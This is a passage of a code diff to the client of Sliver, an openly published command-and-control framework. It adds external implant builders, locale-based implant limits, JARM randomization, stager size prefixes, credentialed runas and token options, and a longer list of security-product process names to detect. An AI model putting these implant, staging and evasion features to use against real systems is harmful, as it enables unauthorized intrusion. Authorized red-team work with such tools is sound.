+		_, err := externalBuild(config, save, con)
+		if err != nil {
+			if err == ErrNoExternalBuilder {
+				con.PrintErrorf("There are no external builders currently connected to the server\n")
+				con.PrintErrorf("See 'builders' command for more information\n")
+			} else if err == ErrNoValidBuilders {
+				con.PrintErrorf("There are external builders connected to the server, but none can build the target you specified\n")
+				con.PrintErrorf("Invalid target %s\n", fmt.Sprintf("%s:%s/%s", config.Format, config.GOOS, config.GOARCH))
+				con.PrintErrorf("See 'builders' command for more information\n")
+			} else {
+				con.PrintErrorf("%s\n", err)
+			}
+			return
+		}
+	}
 }

 func expandPath(path string) string {
@@ -118,7 +139,7 @@ func saveLocation(save, DefaultName string) (string, error) {
 		if strings.HasSuffix(save, "/") {
 			log.Printf("%s is dir\n", save)
 			os.MkdirAll(save, 0700)
-			saveTo, _ = filepath.Abs(path.Join(saveTo, DefaultName))
+			saveTo, _ = filepath.Abs(filepath.Join(saveTo, DefaultName))
 		} else {
 			log.Printf("%s is not dir\n", save)
 			saveDir := filepath.Dir(save)
@@ -132,7 +153,7 @@ func saveLocation(save, DefaultName string) (string, error) {
 		log.Printf("%s does exist\n", save)
 		if fi.IsDir() {
 			log.Printf("%s is dir\n", save)
-			saveTo, _ = filepath.Abs(path.Join(save, DefaultName))
+			saveTo, _ = filepath.Abs(filepath.Join(save, DefaultName))
 		} else {
 			log.Printf("%s is not dir\n", save)
 			prompt := &survey.Confirm{Message: "Overwrite existing file?"}
@@ -157,8 +178,9 @@ func nameOfOutputFormat(value clientpb.OutputFormat) string {
 		return "Shared Library"
 	case clientpb.OutputFormat_SHELLCODE:
 		return "Shellcode"
+	default:
+		return "Unknown"
 	}
-	panic(fmt.Sprintf("Unknown format %v", value))
 }

 // Shared function that extracts the compile flags from the grumble context
@@ -249,6 +271,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
 	limitUsername := ctx.Flags.String("limit-username")
 	limitDatetime := ctx.Flags.String("limit-datetime")
 	limitFileExists := ctx.Flags.String("limit-fileexists")
+	limitLocale := ctx.Flags.String("limit-locale")

 	isSharedLib := false
 	isService := false
@@ -322,6 +345,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
 		ObfuscateSymbols: symbolObfuscation,
 		C2:               c2s,
 		CanaryDomains:    canaryDomains,
+		TemplateName:     ctx.Flags.String("template"),

 		WGPeerTunIP:       tunIP.String(),
 		WGKeyExchangePort: uint32(ctx.Flags.Int("key-exchange")),
@@ -337,6 +361,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
 		LimitUsername:     limitUsername,
 		LimitDatetime:     limitDatetime,
 		LimitFileExists:   limitFileExists,
+		LimitLocale:       limitLocale,

 		Format:      configFormat,
 		IsSharedLib: isSharedLib,
@@ -606,6 +631,130 @@ func ParseTCPPivotc2(args string) ([]*clientpb.ImplantC2, error) {
 	return c2s, nil
 }

+func externalBuild(config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
+
+	potentialBuilders, err := findExternalBuilders(config, con)
+	if err != nil {
+		return nil, err
+	}
+	var externalBuilder *clientpb.Builder
+	if len(potentialBuilders) == 1 {
+		externalBuilder = potentialBuilders[0]
+	} else {
+		con.PrintInfof("Found %d external builders that can compile this configuration", len(potentialBuilders))
+		externalBuilder, err = selectExternalBuilder(potentialBuilders, con)
+		if err != nil {
+			return nil, err
+		}
+	}
+	con.PrintInfof("Using external builder: %s\n", externalBuilder.Name)
+
+	if config.IsBeacon {
+		interval := time.Duration(config.BeaconInterval)
+		con.PrintInfof("Externally generating new %s/%s beacon implant binary (%v)\n", config.GOOS, config.GOARCH, interval)
+	} else {
+		con.PrintInfof("Externally generating new %s/%s implant binary\n", config.GOOS, config.GOARCH)
+	}
+	if config.ObfuscateSymbols {
+		con.PrintInfof("%sSymbol obfuscation is enabled%s\n", console.Bold, console.Normal)
+	} else if !config.Debug {
+		con.PrintErrorf("Symbol obfuscation is %sdisabled%s\n", console.Bold, console.Normal)
+	}
+	start := time.Now()
+
+	listenerID, listener := con.CreateEventListener()
+
+	waiting := true
+	spinner := spin.New()
+
+	sigint := make(chan os.Signal, 1) // Catch keyboard interrupts
+	signal.Notify(sigint, os.Interrupt)
+
+	con.PrintInfof("Creating external build ... ")
+	externalImplantConfig, err := con.Rpc.GenerateExternal(context.Background(), &clientpb.ExternalGenerateReq{
+		Config:      config,
+		BuilderName: externalBuilder.Name,
+	})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return nil, err
+	}
+	con.Printf("done\n")
+
+	var name string
+	msgF := "Waiting for external builder to acknowledge build (template: %s) ... %s"
+	for waiting {
+		select {
+
+		case <-time.After(100 * time.Millisecond):
+			elapsed := time.Since(start)
+			msg := fmt.Sprintf(msgF, externalImplantConfig.Config.TemplateName, elapsed.Round(time.Second))
+			fmt.Fprintf(con.App.Stdout(), console.Clearln+" %s  %s", spinner.Next(), msg)
+
+		case event := <-listener:
+			switch event.EventType {
+
+			case consts.ExternalBuildFailedEvent:
+				parts := strings.SplitN(string(event.Data), ":", 2)
+				if len(parts) != 2 {
+					continue
+				}
+				if parts[0] == externalImplantConfig.Config.ID {
+					con.RemoveEventListener(listenerID)
+					return nil, fmt.Errorf("external build failed: %s", parts[1])
+				}
+
+			case consts.AcknowledgeBuildEvent:
+				if string(event.Data) == externalImplantConfig.Config.ID {
+					msgF = "External build acknowledged by builder (template: %s) ... %s"
+				}
+
+			case consts.ExternalBuildCompletedEvent:
+				parts := strings.SplitN(string(event.Data), ":", 2)
+				if len(parts) != 2 {
+					continue
+				}
+				if parts[0] == externalImplantConfig.Config.ID {
+					con.RemoveEventListener(listenerID)
+					name = parts[1]
+					waiting = false
+				}
+
+			}
+
+		case <-sigint:
+			waiting = false
+			con.Printf("\n")
+			return nil, fmt.Errorf("user interrupt")
+		}
+	}
+
+	elapsed := time.Since(start)
+	con.PrintInfof("Build completed in %s\n", elapsed.Round(time.Second))
+
+	generated, err := con.Rpc.Regenerate(context.Background(), &clientpb.RegenerateReq{
+		ImplantName: name,
+	})
+	if err != nil {
+		return nil, err
+	}
+	con.PrintInfof("Build name: %s (%d bytes)\n", name, len(generated.File.Data))
+
+	saveTo, err := saveLocation(save, filepath.Base(generated.File.Name))
+	if err != nil {
+		return nil, err
+	}
+
+	err = os.WriteFile(saveTo, generated.File.Data, 0700)
+	if err != nil {
+		con.PrintErrorf("Failed to write to: %s\n", saveTo)
+		return nil, err
+	}
+	con.PrintInfof("Implant saved to %s\n", saveTo)
+
+	return nil, nil
+}
+
 func compile(config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
 	if config.IsBeacon {
 		interval := time.Duration(config.BeaconInterval)
@@ -633,9 +782,8 @@ func compile(config *clientpb.ImplantConfig, save string, con *console.SliverCon
 		return nil, err
 	}

-	end := time.Now()
-	elapsed := time.Time{}.Add(end.Sub(start))
-	con.PrintInfof("Build completed in %s\n", elapsed.Format("15:04:05"))
+	elapsed := time.Since(start)
+	con.PrintInfof("Build completed in %s\n", elapsed.Round(time.Second))
 	if len(generated.File.Data) == 0 {
 		con.PrintErrorf("Build failed, no file data\n")
 		return nil, errors.New("no file data")
@@ -668,7 +816,7 @@ func compile(config *clientpb.ImplantConfig, save string, con *console.SliverCon
 		return nil, err
 	}

-	err = ioutil.WriteFile(saveTo, fileData, 0700)
+	err = os.WriteFile(saveTo, fileData, 0700)
 	if err != nil {
 		con.PrintErrorf("Failed to write to: %s\n", saveTo)
 		return nil, err
@@ -694,6 +842,9 @@ func getLimitsString(config *clientpb.ImplantConfig) string {
 	if config.LimitFileExists != "" {
 		limits = append(limits, fmt.Sprintf("fileexists=%s", config.LimitFileExists))
 	}
+	if config.LimitLocale != "" {
+		limits = append(limits, fmt.Sprintf("locale=%s", config.LimitLocale))
+	}
 	return strings.Join(limits, "; ")
 }

@@ -755,3 +906,48 @@ func warnMissingCrossCompiler(format clientpb.OutputFormat, targetOS string, tar
 	survey.AskOne(prompt, &confirm, nil)
 	return confirm
 }
+
+func findExternalBuilders(config *clientpb.ImplantConfig, con *console.SliverConsoleClient) ([]*clientpb.Builder, error) {
+	builders, err := con.Rpc.Builders(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		return nil, err
+	}
+	if len(builders.Builders) < 1 {
+		return []*clientpb.Builder{}, ErrNoExternalBuilder
+	}
+
+	validBuilders := []*clientpb.Builder{}
+	for _, builder := range builders.Builders {
+		for _, target := range builder.Targets {
+			if target.GOOS == config.GOOS && target.GOARCH == config.GOARCH && config.Format == target.Format {
+				validBuilders = append(validBuilders, builder)
+				break
+			}
+		}
+	}
+
+	if len(validBuilders) < 1 {
+		return []*clientpb.Builder{}, ErrNoValidBuilders
+	}
+
+	return validBuilders, nil
+}
+
+func selectExternalBuilder(builders []*clientpb.Builder, con *console.SliverConsoleClient) (*clientpb.Builder, error) {
+	choices := []string{}
+	for _, builder := range builders {
+		choices = append(choices, builder.Name)
+	}
+	choice := ""
+	prompt := &survey.Select{
+		Message: "Select an external builder:",
+		Options: choices,
+	}
+	survey.AskOne(prompt, &choice, nil)
+	for _, builder := range builders {
+		if builder.Name == choice {
+			return builder, nil
+		}
+	}
+	return nil, ErrNoValidBuilders
+}
@@ -49,10 +49,10 @@ func ImplantsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.PrintErrorf("%s\n", err)
 		return
 	}
-	implantBuildfilters := ImplantBuildFilter{}
+	implantBuildFilters := ImplantBuildFilter{}

 	if 0 < len(builds.Configs) {
-		PrintImplantBuilds(builds.Configs, implantBuildfilters, con)
+		PrintImplantBuilds(builds.Configs, implantBuildFilters, con)
 	} else {
 		con.PrintInfof("No implant builds\n")
 	}
@@ -65,6 +65,7 @@ func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters Impl
 	tw.AppendHeader(table.Row{
 		"Name",
 		"Implant Type",
+		"Template",
 		"OS/Arch",
 		"Format",
 		"Command & Control",
@@ -103,9 +104,13 @@ func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters Impl
 		for index, c2 := range config.C2 {
 			c2URLs = append(c2URLs, fmt.Sprintf("[%d] %s", index+1, c2.URL))
 		}
+		if config.TemplateName == "" {
+			config.TemplateName = "sliver"
+		}
 		tw.AppendRow(table.Row{
 			sliverName,
 			implantType,
+			config.TemplateName,
 			fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
 			config.Format,
 			strings.Join(c2URLs, "\n"),
@@ -20,7 +20,6 @@ package generate

 import (
 	"context"
-	"io/ioutil"
 	"os"

 	"github.com/bishopfox/sliver/client/console"
@@ -51,7 +50,7 @@ func RegenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.PrintErrorf("%s\n", err)
 		return
 	}
-	err = ioutil.WriteFile(saveTo, regenerate.File.Data, 0700)
+	err = os.WriteFile(saveTo, regenerate.File.Data, 0700)
 	if err != nil {
 		con.PrintErrorf("Failed to write to %s\n", err)
 		return
@@ -105,6 +105,9 @@ var (
 		consts.ReactionStr + sep + consts.UnsetStr: reactionUnsetHelp,

 		consts.Cursed + sep + consts.CursedChrome: cursedChromeHelp,
+
+		// Builders
+		consts.BuildersStr: buildersHelp,
 	}

 	jobsHelp = `[[.Bold]]Command:[[.Normal]] jobs <options>
@@ -206,10 +209,10 @@ stage-listener --url tcp://1.2.3.4:8080 --profile my-sliver-profile

 To create a profile, use the [[.Bold]]profiles new[[.Normal]] command. A common scenario is to create a profile that generates a shellcode, which can act as a stage 2:

-profiles new --profile-name windows-shellcode --format shellcode --mtls 1.2.3.4 --skip-symbols
+profiles new --format shellcode --mtls 1.2.3.4 --skip-symbols windows-shellcode
 `

-	newProfileHelp = `[[.Bold]]Command:[[.Normal]] new [--profile-name] <options>
+	newProfileHelp = `[[.Bold]]Command:[[.Normal]] new <options> <profile name>
 [[.Bold]]About:[[.Normal]] Create a new profile with a given name and options, a name is required.

 [[.Bold]][[.Underline]]++ Profiles ++[[.Normal]]
@@ -464,10 +467,20 @@ The [[.Bold]]psexec[[.Normal]] command will use the credentials of the Windows u
 [[.Bold]]About:[[.Normal]] Inject a sliver shellcode into an existing file on the target system.
 [[.Bold]]Example:[[.Normal]] backdoor --profile windows-shellcode "c:\windows\system32\calc.exe"

-[[.Bold]]Remark:[[.Normal]] you must first create a profile that will serve as your base shellcode, with the following command: profiles new --format shellcode --profile-name whatever --http ab.cd
+[[.Bold]]Remark:[[.Normal]] you must first create a profile that will serve as your base shellcode, with the following command: profiles new --format shellcode --http ab.cd windows-shellcode
 `
 	makeTokenHelp = `[[.Bold]]Command:[[.Normal]] make-token -u USERNAME -d DOMAIN -p PASSWORD
 [[.Bold]]About:[[.Normal]] Creates a new Logon Session from the specified credentials and impersonate the resulting token.
+You can specify a custon Logon Type using the [[.Bold]]--logon-type[[.Normal]] flag, which defaults to [[.Bold]]LOGON32_LOGON_NEW_CREDENTIALS[[.Normal]].
+Valid types are:
+
+LOGON_INTERACTIVE
+LOGON_NETWORK
+LOGON_BATCH
+LOGON_SERVICE
+LOGON_UNLOCK
+LOGON_NETWORK_CLEARTEXT
+LOGON_NEW_CREDENTIALS
 `

 	getEnvHelp = `[[.Bold]]Command:[[.Normal]] getenv [name]
@@ -701,6 +714,13 @@ the target extension must have either of these two sets of permissions:
 2. "webRequest" "webRequestBlocking" "http://*/*" "https://*/*" 

 More information: https://github.com/mandatoryprogrammer/CursedChrome
+`
+
+	buildersHelp = `[[.Bold]]Command:[[.Normal]] builders
+[[.Bold]]About:[[.Normal]] Lists external builders currently registered with the server.
+
+External builders allow the Sliver server offload implant builds onto external machines.
+For more information: https://github.com/BishopFox/sliver/wiki/External-Builders
 `
 )

@@ -26,6 +26,7 @@ import (
 	"sort"
 	"strings"
 	"text/tabwriter"
+	"time"

 	"github.com/AlecAivazis/survey/v2"
 	"github.com/bishopfox/sliver/client/command/settings"
@@ -65,10 +66,12 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
 		"ID",
 		"Hostname",
 		"Operating System",
+		"Locale",
 		"Sessions",
 		"Beacons",
 		"IOCs",
 		"Extensions",
+		"First Contact",
 	})
 	for _, host := range hosts {
 		var shortID string
@@ -81,10 +84,12 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
 			shortID,
 			host.Hostname,
 			host.OSVersion,
+			host.Locale,
 			hostSessions(host.HostUUID, con),
 			hostBeacons(host.HostUUID, con),
 			len(host.IOCs),
 			len(host.ExtensionData),
+			con.FormatDateDelta(time.Unix(host.FirstContact, 0), true, false),
 		})
 	}
 	return tw.Render()
@@ -22,6 +22,7 @@ import (
 	"context"
 	"time"

+	"github.com/bishopfox/sliver/client/command/use"
 	"github.com/bishopfox/sliver/client/console"
 	consts "github.com/bishopfox/sliver/client/constants"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
@@ -33,10 +34,25 @@ import (

 // InfoCmd - Display information about the active session
 func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session, beacon := con.ActiveTarget.GetInteractive()
-	if session == nil && beacon == nil {
-		return
+	var err error
+
+	// Check if we have an active target via 'use'
+	session, beacon := con.ActiveTarget.Get()
+
+	idArg := ctx.Args.String("session")
+	if idArg != "" {
+		// ID passed via argument takes priority
+		session, beacon, err = use.SessionOrBeaconByID(idArg, con)
+	} else {
+		if session == nil && beacon == nil {
+			session, beacon, err = use.SelectSessionOrBeacon(con)
+			if err != nil {
+				con.PrintErrorf("%s\n", err)
+				return
+			}
+		}
 	}
+
 	if session != nil {

 		con.Printf(console.Bold+"        Session ID: %s%s\n", console.Normal, session.ID)
@@ -49,11 +65,14 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.Printf(console.Bold+"               PID: %s%d\n", console.Normal, session.PID)
 		con.Printf(console.Bold+"                OS: %s%s\n", console.Normal, session.OS)
 		con.Printf(console.Bold+"           Version: %s%s\n", console.Normal, session.Version)
+		con.Printf(console.Bold+"            Locale: %s%s\n", console.Normal, session.Locale)
 		con.Printf(console.Bold+"              Arch: %s%s\n", console.Normal, session.Arch)
 		con.Printf(console.Bold+"         Active C2: %s%s\n", console.Normal, session.ActiveC2)
 		con.Printf(console.Bold+"    Remote Address: %s%s\n", console.Normal, session.RemoteAddress)
 		con.Printf(console.Bold+"         Proxy URL: %s%s\n", console.Normal, session.ProxyURL)
 		con.Printf(console.Bold+"Reconnect Interval: %s%s\n", console.Normal, time.Duration(session.ReconnectInterval).String())
+		con.Printf(console.Bold+"     First Contact: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(session.FirstContact, 0), true, false))
+		con.Printf(console.Bold+"      Last Checkin: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(session.LastCheckin, 0), true, false))

 	} else if beacon != nil {

@@ -67,12 +86,16 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.Printf(console.Bold+"               PID: %s%d\n", console.Normal, beacon.PID)
 		con.Printf(console.Bold+"                OS: %s%s\n", console.Normal, beacon.OS)
 		con.Printf(console.Bold+"           Version: %s%s\n", console.Normal, beacon.Version)
+		con.Printf(console.Bold+"            Locale: %s%s\n", console.Normal, beacon.Locale)
 		con.Printf(console.Bold+"              Arch: %s%s\n", console.Normal, beacon.Arch)
 		con.Printf(console.Bold+"         Active C2: %s%s\n", console.Normal, beacon.ActiveC2)
 		con.Printf(console.Bold+"    Remote Address: %s%s\n", console.Normal, beacon.RemoteAddress)
 		con.Printf(console.Bold+"         Proxy URL: %s%s\n", console.Normal, beacon.ProxyURL)
 		con.Printf(console.Bold+"          Interval: %s%s\n", console.Normal, time.Duration(beacon.Interval).String())
 		con.Printf(console.Bold+"            Jitter: %s%s\n", console.Normal, time.Duration(beacon.Jitter).String())
+		con.Printf(console.Bold+"     First Contact: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(beacon.FirstContact, 0), true, false))
+		con.Printf(console.Bold+"      Last Checkin: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), true, false))
+		con.Printf(console.Bold+"      Next Checkin: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), true, true))

 	} else {
 		con.PrintErrorf("No target session, see `help %s`\n", consts.InfoStr)
@@ -68,6 +68,7 @@ func HTTPSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		EnforceOTP:      !disableOTP,
 		LongPollTimeout: int64(longPollTimeout),
 		LongPollJitter:  int64(longPollJitter),
+		RandomizeJARM:   !ctx.Flags.Bool("disable-randomized-jarm"),
 	})
 	con.Println()
 	if err != nil {
@@ -22,6 +22,7 @@ import (
 	"bytes"
 	"compress/zlib"
 	"context"
+	"encoding/binary"
 	"net/url"
 	"strconv"
 	"strings"
@@ -39,6 +40,7 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	listenerURL := ctx.Flags.String("url")
 	aesEncryptKey := ctx.Flags.String("aes-encrypt-key")
 	aesEncryptIv := ctx.Flags.String("aes-encrypt-iv")
+	prependSize := ctx.Flags.Bool("prepend-size")
 	compress := strings.ToLower(ctx.Flags.String("compress"))

 	if profileName == "" || listenerURL == "" {
@@ -68,7 +70,7 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	if aesEncryptKey != "" {
 		// check if aes encryption key is correct length
 		if len(aesEncryptKey)%16 != 0 {
-			con.PrintErrorf("Incorect length of AES Key\n")
+			con.PrintErrorf("Incorrect length of AES Key\n")
 			return
 		}

@@ -117,6 +119,9 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {

 	switch stagingURL.Scheme {
 	case "http":
+		if prependSize {
+			stage2 = prependPayloadSize(stage2)
+		}
 		ctrl := make(chan bool)
 		con.SpinUntil("Starting HTTP staging listener...", ctrl)
 		stageListener, err := con.Rpc.StartHTTPStagerListener(context.Background(), &clientpb.StagerListenerReq{
@@ -133,6 +138,9 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		}
 		con.PrintInfof("Job %d (http) started\n", stageListener.GetJobID())
 	case "https":
+		if prependSize {
+			stage2 = prependPayloadSize(stage2)
+		}
 		cert, key, err := getLocalCertificatePair(ctx)
 		if err != nil {
 			con.Println()
@@ -158,6 +166,8 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		}
 		con.PrintInfof("Job %d (https) started\n", stageListener.GetJobID())
 	case "tcp":
+		// Always prepend payload size for TCP stagers
+		stage2 = prependPayloadSize(stage2)
 		ctrl := make(chan bool)
 		con.SpinUntil("Starting TCP staging listener...", ctrl)
 		stageListener, err := con.Rpc.StartTCPStagerListener(context.Background(), &clientpb.StagerListenerReq{
@@ -184,3 +194,10 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.PrintInfof("AES IV: %v\n", aesEncryptIv)
 	}
 }
+
+func prependPayloadSize(payload []byte) []byte {
+	payloadSize := uint32(len(payload))
+	lenBuf := make([]byte, 4)
+	binary.LittleEndian.PutUint32(lenBuf, payloadSize)
+	return append(lenBuf, payload...)
+}
@@ -19,8 +19,10 @@ package portfwd
 */

 import (
+	"fmt"
 	"log"
 	"net"
+	"regexp"
 	"time"

 	"github.com/bishopfox/sliver/client/console"
@@ -29,6 +31,10 @@ import (
 	"github.com/desertbit/grumble"
 )

+var (
+	portNumberOnlyRegexp = regexp.MustCompile("^[0-9]+$")
+)
+
 // PortfwdAddCmd - Add a new tunneled port forward
 func PortfwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session := con.ActiveTarget.GetSessionInteractive()
@@ -36,10 +42,10 @@ func PortfwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		return
 	}
 	if session.GetActiveC2() == "dns" {
-		con.PrintWarnf("Current C2 is DNS, this is going to be a very slow tunnel!\n")
+		con.PrintWarnf("The current C2 is DNS, this is going to be a very slow tunnel!\n")
 	}
 	if session.Transport == "wg" {
-		con.PrintWarnf("Current C2 is WireGuard, we recommend using the `wg-portfwd` command!\n")
+		con.PrintWarnf("The current C2 is WireGuard, we recommend using the `wg-portfwd` command!\n")
 	}
 	remoteAddr := ctx.Flags.String("remote")
 	if remoteAddr == "" {
@@ -55,10 +61,14 @@ func PortfwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.PrintWarnf("RDP is generally broken over tunneled portfwds, we recommend using WireGuard portfwds\n")
 	}
 	bindAddr := ctx.Flags.String("bind")
-	if remoteAddr == "" {
-		con.PrintErrorf("Must specify a bind target host:port")
+	if bindAddr == "" {
+		con.PrintErrorf("Must specify a bind target host:port (e.g. 127.0.0.1:8000)")
 		return
 	}
+	// If only a port is specified bind to localhost
+	if portNumberOnlyRegexp.MatchString(bindAddr) {
+		bindAddr = fmt.Sprintf("127.0.0.1:%s", bindAddr)
+	}

 	tcpProxy := &tcpproxy.Proxy{}
 	channelProxy := &core.ChannelProxy{
@@ -28,6 +28,16 @@ import (
 	"google.golang.org/protobuf/proto"
 )

+var logonTypes = map[string]uint32{
+	"LOGON_INTERACTIVE":       2,
+	"LOGON_NETWORK":           3,
+	"LOGON_BATCH":             4,
+	"LOGON_SERVICE":           5,
+	"LOGON_UNLOCK":            7,
+	"LOGON_NETWORK_CLEARTEXT": 8,
+	"LOGON_NEW_CREDENTIALS":   9,
+}
+
 // MakeTokenCmd - Windows only, create a token using "valid" credentails
 func MakeTokenCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session, beacon := con.ActiveTarget.GetInteractive()
@@ -38,6 +48,12 @@ func MakeTokenCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	username := ctx.Flags.String("username")
 	password := ctx.Flags.String("password")
 	domain := ctx.Flags.String("domain")
+	logonType := ctx.Flags.String("logon-type")
+
+	if _, ok := logonTypes[logonType]; !ok {
+		con.PrintErrorf("Invalid logon type: %s\n", logonType)
+		return
+	}

 	if username == "" || password == "" {
 		con.PrintErrorf("Pou must provide a username and password\n")
@@ -48,10 +64,11 @@ func MakeTokenCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	con.SpinUntil("Creating new logon session ...", ctrl)

 	makeToken, err := con.Rpc.MakeToken(context.Background(), &sliverpb.MakeTokenReq{
-		Request:  con.ActiveTarget.Request(ctx),
-		Username: username,
-		Domain:   domain,
-		Password: password,
+		Request:   con.ActiveTarget.Request(ctx),
+		Username:  username,
+		Domain:    domain,
+		Password:  password,
+		LogonType: logonTypes[logonType],
 	})
 	ctrl <- true
 	<-ctrl
@@ -36,8 +36,12 @@ func RunAsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	}

 	username := ctx.Flags.String("username")
+	password := ctx.Flags.String("password")
+	domain := ctx.Flags.String("domain")
+	showWindow := ctx.Flags.Bool("show-window")
 	process := ctx.Flags.String("process")
 	arguments := ctx.Flags.String("args")
+	netonly := ctx.Flags.Bool("net-only")

 	if username == "" {
 		con.PrintErrorf("Please specify a username\n")
@@ -54,6 +58,10 @@ func RunAsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		Username:    username,
 		ProcessName: process,
 		Args:        arguments,
+		Domain:      domain,
+		Password:    password,
+		HideWindow:  !showWindow,
+		NetOnly:     netonly,
 	})
 	if err != nil {
 		con.PrintErrorf("%s", err)
@@ -21,6 +21,7 @@ package processes
 import (
 	"context"
 	"fmt"
+	"sort"
 	"strings"

 	"github.com/bishopfox/sliver/client/command/settings"
@@ -39,11 +40,11 @@ var (
 		// Process Name -> [Color, Stylized Name]
 		"ccSvcHst.exe":                    {console.Red, "Symantec Endpoint Protection"}, // Symantec Endpoint Protection (SEP)
 		"cb.exe":                          {console.Red, "Carbon Black"},                 // Carbon Black
-		"RepMgr.exe":                      {console.Red, "Carbon Black Cloud Sensor"},                 // Carbon Black Cloud Sensor
-		"RepUtils.exe":                    {console.Red, "Carbon Black Cloud Sensor"},                 // Carbon Black Cloud Sensor
-		"RepUx.exe":                       {console.Red, "Carbon Black Cloud Sensor"},                 // Carbon Black Cloud Sensor
-		"RepWSC.exe":                      {console.Red, "Carbon Black Cloud Sensor"},                 // Carbon Black Cloud Sensor
-		"scanhost.exe":                    {console.Red, "Carbon Black Cloud Sensor"},                 // Carbon Black Cloud Sensor
+		"RepMgr.exe":                      {console.Red, "Carbon Black Cloud Sensor"},    // Carbon Black Cloud Sensor
+		"RepUtils.exe":                    {console.Red, "Carbon Black Cloud Sensor"},    // Carbon Black Cloud Sensor
+		"RepUx.exe":                       {console.Red, "Carbon Black Cloud Sensor"},    // Carbon Black Cloud Sensor
+		"RepWSC.exe":                      {console.Red, "Carbon Black Cloud Sensor"},    // Carbon Black Cloud Sensor
+		"scanhost.exe":                    {console.Red, "Carbon Black Cloud Sensor"},    // Carbon Black Cloud Sensor
 		"MsMpEng.exe":                     {console.Red, "Windows Defender"},             // Windows Defender
 		"smartscreen.exe":                 {console.Red, "Windows Smart Screen"},         // Windows Defender Smart Screen
 		"CSFalconService.exe":             {console.Red, "CrowdStrike"},                  // Crowdstrike Falcon Service
@@ -51,12 +52,28 @@ var (
 		"bdservicehost.exe":               {console.Red, "Bitdefender"},                  // Bitdefender (Total Security)
 		"bdagent.exe":                     {console.Red, "Bitdefender"},                  // Bitdefender (Total Security)
 		"bdredline.exe":                   {console.Red, "Bitdefender"},                  // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
+		"Deep Security Manager.exe":       {console.Red, "Trend Micro"},                  // TM Deep Security Manager
+		"coreServiceShell.exe":            {console.Red, "Trend Micro"},                  // TM Anti-malware scan process
+		"ds_monitor.exe":                  {console.Red, "Trend Micro"},                  // TM Deep Security Monitor
+		"Notifier.exe":                    {console.Red, "Trend Micro"},                  // TM Deep Security Notifier's process
+		"dsa.exe":                         {console.Red, "Trend Micro"},                  // TM Agent's main process
+		"ds_nuagent.exe":                  {console.Red, "Trend Micro"},                  // TM Advanced TLS traffic inspection
+		"coreFrameworkHost.exe":           {console.Red, "Trend Micro"},                  // TM Anti-malware scan process
 		"SentinelServiceHost.exe":         {console.Red, "SentinelOne"},                  // Sentinel One
 		"SentinelStaticEngine.exe":        {console.Red, "SentinelOne"},                  // Sentinel One
 		"SentinelStaticEngineScanner.exe": {console.Red, "SentinelOne"},                  // Sentinel One
 		"SentinelAgent.exe":               {console.Red, "SentinelOne"},                  // Sentinel One
 		"SentinelAgentWorker.exe":         {console.Red, "SentinelOne"},                  // Sentinel One
 		"SentinelHelperService.exe":       {console.Red, "SentinelOne"},                  // Sentinel One
+		"SentinelBrowserNativeHost.exe":   {console.Red, "SentinelOne"},                  // Sentinel One
+		"SentinelUI.exe":                  {console.Red, "SentinelOne"},                  // Sentinel One
+		"Sysmon.exe":                      {console.Red, "Sysmon"},                       // Sysmon
+		"Sysmon64.exe":                    {console.Red, "Sysmon64"},                     // Sysmon64
+		"CylanceSvc.exe":                  {console.Red, "Cylance"},                      // Cylance
+		"CylanceUI.exe":                   {console.Red, "Cylance"},                      // Cylance
+		"TaniumClient.exe":                {console.Red, "Tanium"},                       // Tanium
+		"TaniumCX.exe":                    {console.Red, "Tanium"},                       // Tanium
+		"TaniumDetectEngine.exe":          {console.Red, "Tanium"},                       // Tanium
 	}
 )

@@ -115,6 +132,25 @@ func PrintPS(os string, ps *sliverpb.Ps, interactive bool, ctx *grumble.Context,
 	ownerFilter := ctx.Flags.String("owner")
 	overflow := ctx.Flags.Bool("overflow")
 	skipPages := ctx.Flags.Int("skip-pages")
+	pstree := ctx.Flags.Bool("tree")
+
+	if pstree {
+		var currentPID int32
